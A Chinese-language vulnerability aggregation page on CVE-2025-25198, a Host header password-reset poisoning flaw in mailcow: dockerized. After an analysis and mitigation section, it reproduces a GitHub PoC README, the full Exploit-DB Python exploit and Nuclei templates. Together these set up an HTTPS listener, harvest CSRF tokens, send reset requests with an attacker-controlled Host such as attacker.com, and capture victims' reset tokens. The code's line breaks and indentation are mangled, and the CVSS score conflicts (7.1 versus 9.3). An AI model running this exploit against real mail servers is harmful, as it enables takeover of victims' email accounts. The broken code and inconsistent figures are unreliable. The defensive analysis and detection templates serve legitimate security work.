🎯 CVE-2025-25198 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2025-25198 深度技术分析

📊 聚合 3 来源💣 含 EXP🧪 含 PoC🕵️ 含指纹
NVD-LatestExploit-DBPoC-in-GitHub

摘要:CVE-2025-25198 是 mailcow: dockerized 邮件套件在密码重置功能中存在的一处 HTTP Host 头注入漏洞,CVSS 评分为 7.1,属于高危漏洞。攻击者通过篡改发送密码重置请求时的 Host 头,可以在用户收到的重置邮件中注入指向攻击者域名的链接。受害者一旦点击该链接,密码重置令牌将泄露给攻击者,进而可能导致邮箱账户被完全接管。该漏洞影响 2025-01a 之前的版本,官方已在 2025-01a 中修复。

📌 漏洞概述

  • CVE 编号:CVE-2025-25198
  • CVSS 评分:7.1(High)
  • 漏洞类型:HTTP Host Header Injection / 密码重置链接投毒(Password Reset Poisoning)
  • 影响组件:mailcow: dockerized
  • 影响版本:< 2025-01a
  • 修复版本:2025-01a
  • 是否在 CISA KEV:截至当前未纳入 CISA KEV 已知被利用漏洞目录

该漏洞允许一个未认证的远程攻击者,在知道目标邮箱地址的前提下,向受影响的 mailcow 实例发起一次特制的密码重置请求,并在请求中夹带恶意的 Host 头。由于应用在生成密码重置邮件中的链接时未对 Host 头进行校验,生成的链接会被指向攻击者控制的域名。虽然没有直接的远程代码执行或未认证数据泄露,但由于可导致账户接管,因此被评定为高危。

🔬 漏洞根因分析

mailcow 的密码重置流程通常由以下步骤组成:用户提交邮箱地址 → 应用校验邮箱存在 → 生成一次性重置令牌 → 构造重置链接并发送邮件 → 用户点击链接在 Web 页面输入新密码。

问题出现在“构造重置链接”这一步骤。为了生成一个可访问的绝对 URL,许多 Web 应用会依赖 HTTP 请求中的 Host 头来拼接站点域名。例如:

https://{Host}/reset-password?token={token}

在正常场景中,Host 头是 mailcow 自身的域名,例如 mail.example.com。然而 HTTP 协议允许客户端任意指定 Host 头,甚至是非预期的域名或攻击者域名。mailcow 在 2025-01a 之前的版本中,密码重置链接的域名部分来源于请求中的 Host 头,且没有将其与配置项中设定的真实主机名(如 MAILCOW_HOSTNAME)进行比对或白名单校验。

攻击者只需构造类似以下的请求:

POST /reset-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.tld

当 mailcow 收到该请求后,会以 evil.com 作为域名生成密码重置链接。邮件仍然会发送给受害者,但链接指向的是攻击者控制的 evil.com。如果受害者点击了邮件中的链接,浏览器会向 evil.com 发起 GET 请求,并在 URL 中携带密码重置令牌。攻击者在自己的服务器上监听 443 端口的请求,即可从中提取令牌,随后使用该令牌访问 mailcow 的重置接口,为受害者的邮箱设置一个新密码,从而完成账户接管。

从漏洞分类来看,这是典型的 “Password Reset Poisoning” 攻击链。它利用了应用对用户可控的 Host 头缺少信任边界检查的问题。这种漏洞在多个开源 Web 应用中曾反复出现,尤其是在使用反向代理或 Docker 部署的场景下,运维人员可能会认为 Host 头只能来自代理,而忽略了应用直接接收外部请求或代理透传该头的情况。

值得注意的是,该漏洞不需要攻击者拥有任何特权,也不需要与受害者位于同一网络。攻击者只需要知道受害者的邮箱地址,并诱导受害者点击一封看似来自 mailcow 的系统邮件即可。由于该邮件本身是 mailcow 真实发送的,邮件内容中的重置按钮和原有格式都完全合法,受害者更容易降低警惕。

💥 影响与危害

  • 账户接管:攻击者获取重置令牌后可修改受害者邮箱密码,从而完全控制受害者的邮箱账户。
  • 隐私泄露:邮箱内通常包含大量敏感信息,包括其他系统的密码重置邮件、私密通信、业务文件等。账户接管后,攻击者可阅读所有历史邮件及后续邮件。
  • 内部网络渗透:如果该邮箱是域管理或具有邮件网关管理权限,攻击者可能进一步利用邮箱内的凭证或信任关系向内部网络展开攻击。
  • 供应链与 BEC 风险:被接管的邮箱可被用于向组织内其他员工或外部客户发送钓鱼邮件,造成商业电子邮件欺诈(BEC)或供应链攻击。
  • 其他连锁攻击:攻击者可能会利用邮箱的“忘记密码”功能对其他已注册服务进行密码重置,从而扩大攻击面。

尽管 CVSS 评分 7.1 并未达到“严重”级别,但鉴于邮件系统在整个 IT 基础设施中的核心地位,该漏洞一旦被利用,实际业务影响可能远高于通用评分所反映的严重性。由于该漏洞利用需要受害者点击恶意链接,因此要求攻击者具备一定的社工手段,但整体攻击链简单可靠,真实风险不容忽视。

🛡️ 修复与缓解

官方补丁:mailcow 已在 2025-01a 版本中修复该漏洞。建议所有使用 mailcow: dockerized 的运维人员立即升级到 2025-01a 或更高版本。补丁的核心思路是停止使用不可信的 Host 头作为生成密码重置链接的域名来源,改用应用配置中明确指定的站点地址(如 MAILCOW_HOSTNAME),从而彻底消除 Host 头注入的风险。

缓解措施:

  • 如果无法立即升级,可按照官方建议禁用密码重置功能:在管理后台进入 System → Configuration → Options → Password Settings,将 Notification email senderNotification email subject 字段清空。这将使密码重置邮件无法正常发送,从而暂时规避漏洞。
  • 在反向代理(如 Nginx、Traefik)层面配置严格的 Host 头校验,只允许合法的域名通过,并在返回非法 Host 时直接拒绝请求。但需要确认代理是否正确透传了原始 Host 头,以及应用本身是否直接暴露在公网。
  • 定期关注 mailcow 官方的安全通告和 GitHub Security Advisory,及时获取补丁信息。
  • 监控邮件日志和 Web 访问日志,查找异常的密码重置请求。如果发现大量来自非预期 Host 头的请求,应立即排查并轮换所有用户密码。
  • 对用户进行安全意识培训,警惕收到的密码重置邮件中链接域名是否与 mailcow 真实域名一致。

综合而言,CVE-2025-25198 是一个典型的 Host 头注入导致的密码重置链接投毒漏洞,攻击成本低、利用思路清晰,且直接威胁邮箱账户安全。所有 mailcow 用户都应尽快升级到 2025-01a 或更高版本,并在运维层面实施纵深防御策略,避免因单一配置疏漏导致严重的安全事件。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源Groppoxx/CVE-2025-25198-PoC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2025-25198-PoC

Proof-of-concept for [**CVE-2025-25198**](https://nvd.nist.gov/vuln/detail/CVE-2025-25198),a Host header poisoning issue affecting Mailcow password reset flows.

The script starts a local HTTPS listener on port `443`,obtains a valid CSRF token automatically,sends the password reset sequence with a poisoned `Host` header,
and stops when a reset link is recovered either from the HTTP response or from a callback to the listener.

## What It Does

1. Starts an HTTPS listener with a self-signed certificate.
2. Creates a fresh HTTP client session.
3. Obtains a CSRF token automatically.
4. Sends the reset flow with a controlled `Host` header.
5. Extracts reset links from responses and redirects.
6. Waits for a listener hit if the target sends the link out-of-band.
7. Stops at the first valid reset link and prints it cleanly.

## Requirements

```bash
Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
```

Install dependencies:

```bash
pip install -r requirements.txt
```

## Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the `<` or `>` characters.

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL>
\
  --username <MAILBOX>\
  --attacker-host <ATTACKER_HOST>\
  --http2
```

### Placeholders

```bash
<MAILCOW_URL># Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX># Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>
# IP or DNS name that the target can reach on TCP/443.
```

## Full Example

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username michael@cows.com \
  --attacker-host 10.10.13.12 \
  --http2
```

Example output:

```bash
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝
```

## Demo

[![asciicast](https://asciinema.org/a/750363.svg)](https://asciinema.org/a/750363)

## Optional Flags

```bash
--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>Stop after N attempts. Default: 0,which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456;another=value'

--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.
```

## Notes

- The listener always binds to port `443`.
- On Linux/macOS,binding port `443` requires `sudo` or root.
- The target must be able to reach `https://<ATTACKER_HOST>/`.
- If a reset link is found in an HTTP response,
the script exits immediately.
- If no link is found in the response,the script waits for a callback to the HTTPS listener.
- If no link is recovered,the sequence retries every 8 seconds by default.
- `server.pem` and `server.key` are generated automatically if missing.

## Legal

This PoC is intended for **authorized security testing**,lab environments,
and vulnerability verification.
Do not use it against systems without explicit permission.

⚔️ EXP 利用代码

来自 Exploit-DB 的完整利用代码([webapps] mailcow 2025-01a - Host Header Password Reset Poisoning)。

📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52484针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法

# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning
# Date: 2025-10-21
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://mailcow.email
# Software Link: https://github.com/mailcow/mailcow-dockerized
# Version: <2025-01a (REQUIRED)
# Tested on: Ubuntu 22.04.5 LTS,Docker 26.1.3,Docker Compose 2.27.1;
mailcow:dockerized 2025-01
# CVE : CVE-2025-25198
# PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git
# mailcow: dockerized <2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)
# Description:
# A flaw in mailcow’s password reset allows Host header poisoning to generate a
# reset link pointing to an attacker-controlled domain,
potentially enabling account
# takeover if a user clicks the poisoned link. Patched in 2025-01a.
# References:
# - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198
# - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
# Usage (authorized testing only):
# sudo python3 cve-2025-25198.py \
# --listen-host 0.0.0.0 \
# --base-url https://mail.target.tld \
# --username victim@target.tld \
# --attacker-host your.ip.or.dns \
# --http2
# Requirements:
# Python 3.8+ ;
pip install httpx (or 'requests' for HTTP/1.1)
# Legal:
# For authorized security testing only. Do NOT target live websites.
from __future__ import annotations
import argparse
import http.server
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime,
timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler
from typing import Optional,Dict,List,Tuple
from urllib.parse import urlparse,
parse_qs
try:
import requests
except Exception:
requests = None
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
MAGENTA = "\033[35m"
ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')
def visible_len(s: str) ->int:
return len(ANSI_RE.sub('',s))
class Console:
def __init__(self,only_final: bool = False) ->
None:
self.only_final = only_final
def log(self,msg: str) ->None:
if self.only_final:
return
ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00","Z")
print(f"{DIM}[{ts}]{RESET}{msg}",flush=True)
def banner(self,link: str,source: str = "response") ->None:
host = urlparse(link).hostname or ""
title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET}
{DIM}({source}){RESET}"
link_line = f" {CYAN}{link}{RESET}"
target_line = f" Target: {BOLD}{host}{RESET}" if host else ""
max_content = max(
visible_len(title),visible_len(link_line),visible_len(target_line) if host else 0
)
inner_width = max(80,min(150,max_content))
line = "═" * inner_width
def box_line(content: str) ->str:
pad = inner_width - visible_len(content)
if pad <
0:
pad = 0
return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"
print("")
print(f"{MAGENTA}╔{line}╗{RESET}")
print(box_line(title))
print(f"{MAGENTA}╟{line}╢{RESET}")
print(box_line(link_line))
if host:
print(box_line(target_line))
print(f"{MAGENTA}╚{line}╝{RESET}")
print("")
console = Console(False)
RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)',
re.I)
RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b',re.I)
def links_from_text(html: str,base_url: str) ->
List[str]:
if not html:
return []
out: List[str] = []
for m in RGX_TOKEN_IN_URL.finditer(html):
out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
for m in RGX_TOKEN_FALLBACK.finditer(html):
cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
if cand not in out:
out.append(cand)
return out
def links_from_headers(headers: Dict[str,str],base_url: str) ->
List[str]:
loc = headers.get("Location") or headers.get("location")
return links_from_text(loc,base_url) if loc else []
class ListenerState:
def __init__(self) ->None:
self.event = threading.Event()
self.last_link: Optional[str] = None
class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
server_version = "PoisonedHostTest/host-only"
error_content_type = "text/plain"
def log_message(self,
*_: object) ->None:
return
def _record(self,code: int) ->None:
parsed = urlparse(self.path)
token = parse_qs(parsed.query).get("token") or []
if token:
link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
self.server.state.last_link = link
self.server.state.event.set()
if not console.only_final:
console.log(f"{YELLOW}[HIT]{RESET}{self.command}{self.path}
← {self.client_address[0]}[{code}]")
def do_GET(self) ->None:
if self.path.startswith("/favicon"):
self.send_response(HTTPStatus.NO_CONTENT);self.end_headers();return
self.send_response(HTTPStatus.OK)
self.send_header("Content-Type","text/html;charset=utf-8")
self.end_headers()
token = parse_qs(urlparse(self.path).query).get("token",
[""])[0]
body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
self.wfile.write(body.encode("utf-8"))
self._record(HTTPStatus.OK)
def do_POST(self) ->None:
_ = self.rfile.read(int(self.headers.get("Content-Length","0") or 0))
self.send_response(HTTPStatus.NO_CONTENT);
self.end_headers()
self._record(HTTPStatus.NO_CONTENT)
def ensure_self_signed(cert_file: str,key_file: str,cn: str = "localhost",days: int = 365) ->None:
if os.path.exists(cert_file) and os.path.exists(key_file):
return
console.log("[+] Generating self-signed certificate…")
subprocess.run([
"openssl","req","-x509","-newkey","rsa:2048","-keyout",key_file,"-out",cert_file,"-days",str(days),
"-nodes","-subj",f"/CN={cn}"
],check=True)
def require_root_for_privileged_port(port: int) ->None:
if port <1024:
# POSIX check: require root if binding <1024
if hasattr(os,"geteuid"):
if os.geteuid() != 0:
print("[-] Port 443 requires root. Re-run with sudo.",file=sys.stderr)
sys.exit(2)
# On non-POSIX (e.g.,Windows) we don't enforce sudo.
def start_https_listener(host: str,port: int,
cert: str,key: str,base_url: str,state: ListenerState):
ensure_self_signed(cert,key)
httpd = http.server.ThreadingHTTPServer((host,port),LoggingHTTPSHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(certfile=cert,keyfile=key)
httpd.socket = ctx.wrap_socket(httpd.socket,
server_side=True)
httpd.target_base_url = base_url
httpd.state = state
threading.Thread(target=httpd.serve_forever,name="https-listener",daemon=True).start()
console.log(f"[+] HTTPS listener on https://{host}:{port}")
return httpd
def add_cookie_string_to_session(session,cookie_header: Optional[str],base_url: str) ->
None:
if not cookie_header:
return
host = urlparse(base_url).hostname
for part in re.split(r';\s*|,\s*',cookie_header.strip()):
if not part or "=" not in part:
continue
name,val = part.split("=",1)
try:
session.cookies.set(name.strip(),val.strip(),domain=host)
except Exception:
pass
class HttpClient:
def __init__(self,base_url: str,use_http2: bool,cookie_header: Optional[str]) ->
None:
self.base_url = base_url.rstrip("/")
self.use_http2 = use_http2
if use_http2:
try:
import httpx
except Exception as e:
raise RuntimeError("Install httpx for --http2: pip install httpx") from e
# TLS verification disabled intentionally for testing environments
self.session = httpx.Client(http2=True,verify=False,timeout=20.0,
follow_redirects=False)
else:
if requests is None:
raise RuntimeError("Missing 'requests' for HTTP/1.1.")
self.session = requests.Session()
add_cookie_string_to_session(self.session,cookie_header,self.base_url)
def get(self,url: str,headers: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.get(url,headers=headers or {},
follow_redirects=allow_redirects)
# requests: disable TLS verification explicitly
return self.session.get(url,headers=headers or {},verify=False,timeout=20,allow_redirects=allow_redirects)
def post(self,url: str,headers: Dict[str,str],data: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.post(url,headers=headers or {},data=data or {},
follow_redirects=allow_redirects)
return self.session.post(url,headers=headers or {},data=data or {},verify=False,timeout=20,allow_redirects=allow_redirects)
RGX_INPUTS = [
re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'),re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'),re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'),
re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'),]
RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']',re.I)
RGX_JS = [
re.compile(r'csrf_token\s*[:=]\s*["\']([^"\']+)["\']',re.I),re.compile(r'window\.\w*csrf\w*\s*=\s*["\']([^"\']+)["\']',re.I),]
COOKIE_CSRF = ["csrf_token","_csrf","XSRF-TOKEN",
"CSRF-TOKEN"]
HEX64 = re.compile(r'^[0-9a-f]{64}$',re.I)
def _csrf_candidates_html(html: str) ->
List[str]:
if not html:
return []
cands: List[str] = []
for rgx in RGX_INPUTS:
m = rgx.search(html)
if m: cands.append(m.group(1))
m = RGX_META.search(html)
if m: cands.append(m.group(1))
for rgx in RGX_JS:
m = rgx.search(html)
if m: cands.append(m.group(1))
for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})',
html):
cands.append(m.group(1))
seen: set[str] = set()
out: List[str] = []
for v in cands:
if v not in seen:
seen.add(v);out.append(v)
return out
def _csrf_from_set_cookie(headers: Dict[str,str]) ->Optional[str]:
sc = headers.get("Set-Cookie") or headers.get("set-cookie")
if not sc: return None
for cookie in re.split(r',(?=\s*\w+=)',
sc):
for name in COOKIE_CSRF:
m = re.search(rf'\b{name}=([^;,\s]+)',cookie,re.I)
if m: return m.group(1)
return None
def _best_csrf(candidates: List[str]) ->Optional[str]:
if not candidates: return None
for c in candidates:
if HEX64.fullmatch(c): return c
return candidates[0]
def nav_headers(base_url: str,attacker_host: str) ->Dict[str,str]:
return {"User-Agent": "Mozilla/5.0 (X11;
Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip,deflate,br","Upgrade-Insecure-Requests": "1","Sec-Fetch-Dest": "document","Sec-Fetch-Mode": "navigate","Sec-Fetch-Site": "same-origin","Sec-Fetch-User": "?1","Te": "trailers",
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Host": attacker_host,}def fetch_csrf_auto(client: HttpClient,base_url: str,attacker_host: str,username: str) ->str:
paths = ["","/","/index.php","/reset-password","/login","/auth","/user/reset"]
h1 = nav_headers(base_url,attacker_host)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h1,
allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET failed at {url}: {e}")
h2 = dict(h1);h2.pop("Host",
None)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h2,allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")
pre_headers = {"User-Agent": h1["User-Agent"],"Accept": h1["Accept"],"Accept-Language": h1["Accept-Language"],"Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}try:
r = client.post(client.base_url + "/reset-password",headers=pre_headers,data={"username": username,"pw_reset_request": "","csrf_token": ""},allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] Preflight POST for CSRF failed: {e}")
raise RuntimeError("Unable to auto-extract csrf_token.")
def looks_like_csrf_error(body: str,status: int) ->bool:
if status in (400,
403): return True
text = (body or "").lower()
return any(k in text for k in ("csrf","invalid token","expired token","forgery","bad token"))
def run_sequence(client: HttpClient,base_url: str,username: str,csrf: str,attacker_host: str) ->Tuple[Optional[str],Dict[str,object],str]:
ua = "Mozilla/5.0 (X11;Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0"
headers = {"User-Agent": ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,"Referer": base_url.rstrip('/') + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}r1 = client.get(base_url,headers=headers,allow_redirects=True)
body1 = r1.text if hasattr(r1,
"text") else r1.content.decode("utf-8","ignore")
reset_ep = base_url.rstrip("/") + "/reset-password"
payload = {"username": username,"pw_reset_request": "","csrf_token": csrf}r2 = client.post(reset_ep,headers=headers,data=payload,allow_redirects=False)
body2 = r2.text if hasattr(r2,"text") else r2.content.decode("utf-8","ignore")
r3 = client.get(base_url.rstrip("/") + "/",headers=headers,
allow_redirects=False)
body3 = r3.text if hasattr(r3,"text") else r3.content.decode("utf-8","ignore")
found: List[str] = []
found += links_from_headers(dict(getattr(r1,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r2,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r3,"headers",{})),base_url)
found += links_from_text(body1,
base_url)
found += links_from_text(body2,base_url)
found += links_from_text(body3,base_url)
seen: set[str] = set()
clean = [l for l in found if not (l in seen or seen.add(l))]
summary = {"get1": getattr(r1,"status_code",None),"post": getattr(r2,"status_code",None),"get2": getattr(r3,"status_code",None),"links_found": clean,}return (clean[0] if clean else None),summary,
body2
def attempt_once(base_url: str,username: str,attacker_host: str,use_http2: bool,cookie_header: Optional[str],csrf_override: Optional[str]) ->Tuple[Optional[str],Dict[str,object]]:
client = HttpClient(base_url,use_http2,cookie_header)
if csrf_override:
csrf = csrf_override
console.log(f"[+] Using provided CSRF: {csrf[:16]}…")
else:
csrf = fetch_csrf_auto(client,base_url,attacker_host,
username)
console.log(f"[+] Auto CSRF: {csrf[:16]}…")
console.log("[>] Sending sequence with poisoned Host")
link,summary,post_body = run_sequence(client,base_url,username,csrf,attacker_host)
if not link:
post_status = int(summary.get("post") or 0)
if not csrf_override and looks_like_csrf_error(post_body,
post_status):
console.log("[!] CSRF invalid/expired. Rotating session and retrying once…")
client = HttpClient(base_url,use_http2,None)
csrf2 = fetch_csrf_auto(client,base_url,attacker_host,username)
console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…")
link,summary,_ = run_sequence(client,base_url,username,csrf2,attacker_host)
return link,summary
def run_until_success(listen_host: str,
base_url: str,username: str,attacker_host: str,use_http2: bool,interval: float,max_attempts: int,cookie_header: Optional[str],csrf_override: Optional[str]) ->Optional[str]:
# Force port 443 and require sudo/root on POSIX
listen_port = 443
require_root_for_privileged_port(listen_port)
state = ListenerState()
srv = start_https_listener(listen_host,listen_port,"server.pem","server.key",base_url,
state)
try:
attempt = 0
while True:
attempt += 1
if max_attempts and attempt >max_attempts:
console.log("[i] Reached --max-attempts without success.")
return None
try:
link,_summary = attempt_once(base_url,username,attacker_host,use_http2,cookie_header,csrf_override)
except Exception as e:
console.log(f"[!] Attempt #{attempt}error: {e}")
link = None
if link:
console.banner(link,
source="response")
return link
if state.event.wait(timeout=interval):
link = state.last_link
if link:
console.banner(link,source="listener")
return link
console.log(f"[i] Attempt #{attempt}yielded no link. Retrying in {int(interval)}s…")
except KeyboardInterrupt:
console.log("[+] Aborted by user.")
return None
finally:
try: srv.shutdown()
except Exception: pass
def main() ->
None:
p = argparse.ArgumentParser(
description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root),auto-cookie + auto-CSRF (or --csrf),retry,Host-only"
)
p.add_argument("--listen-host",required=True)
p.add_argument("--base-url",required=True)
p.add_argument("--username",required=True)
p.add_argument("--attacker-host",
required=True)
p.add_argument("--http2",action="store_true",help="Use HTTP/2 (recommended)")
p.add_argument("--interval",type=float,default=8.0,help="Seconds between attempts and click wait window")
p.add_argument("--max-attempts",type=int,default=0,help="0=infinite;>0 limits attempts")
p.add_argument("--cookie",default=None,help="(Optional) inject cookies,e.g.,
PHPSESSID=...")
p.add_argument("--csrf",default=None,help="(Optional) provide csrf_token explicitly (auto if omitted)")
p.add_argument("--only-final",action="store_true",help="Hide progress;
print only the final link banner")
args = p.parse_args()
global console
console = Console(only_final=args.only_final)
if not args.http2 and requests is None:
console.log("[!] Install 'requests' or use --http2 with 'httpx'.");sys.exit(2)
if not args.http2:
console.log("[i] Running over HTTP/1.1 (requests). For best parity,use --http2.")
link = run_until_success(
listen_host=args.listen_host,
base_url=args.base_url,username=args.username,attacker_host=args.attacker_host,use_http2=args.http2,interval=args.interval,max_attempts=args.max_attempts,cookie_header=args.cookie,csrf_override=args.csrf,)
if link:
if not args.only_final:
print(f"{BOLD}{GREEN}Success:{RESET}
reset link obtained. Exiting.")
else:
if not args.only_final:
print("[i] No success (attempts exhausted or aborted).")
if __name__ == "__main__":
main()

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Nuclei 检测模板: CVE-2025-25198-detection.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-25198-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-25198-detection.yaml -u

id: CVE-2025-25198-detection

info:
  name: mailcow - Host Header Password Reset Poisoning Detection
  author: your-username
  severity: high
  description: |A flaw in mailcow's password reset allows Host header poisoning to generate a
    reset link pointing to an attacker-controlled domain,potentially enabling account
    takeover if a user clicks the poisoned link. Affects versions <
2025-01a.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

http:
  - method: GET
    path:
      - '{{BaseURL}}/'
      - '{{BaseURL}}/index.php'
      - '{{BaseURL}}/SOGo/Microsoft-Server-ActiveSync'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'mailcow'
        part: body

      - type: regex
        name: version
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body
        condition: or

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body

🛡️ Nuclei 检测模板: CVE-2025-25198-exploit.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-25198-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-25198-exploit.yaml -u

id: CVE-2025-25198-exploit

info:
  name: mailcow - Host Header Password Reset Poisoning Exploit
  author: your-username
  severity: high
  description: |Generates a password reset link poisoned with an attacker-controlled host.
    The victim,upon clicking the link,will reset their password by sending the
    token to the attacker's server,
leading to account takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

variables:
  username: 'victim@target.tld'
  attacker_host: 'attacker.com'

http:
  - raw:
      - |
POST /mailcow/forgot.php HTTP/1.1
        Host: {{attacker_host}}Content-Type: application/x-www-form-urlencoded
        Content-Length: 28

        login_user={{username}}- |POST /mailcow/reset-password HTTP/1.1
        Host: {{attacker_host}}
Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Password reset email sent'
          - 'success'
          - 'token'
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: json
        name: location
        json:
          - '.headers.Location'
        part: header

      - type: regex
        name: token
        regex:
          - 'reset-password\?token=([a-f0-9-]+)'
        part: body

🛡️ Semgrep 审计规则: CVE-2025-25198.yaml

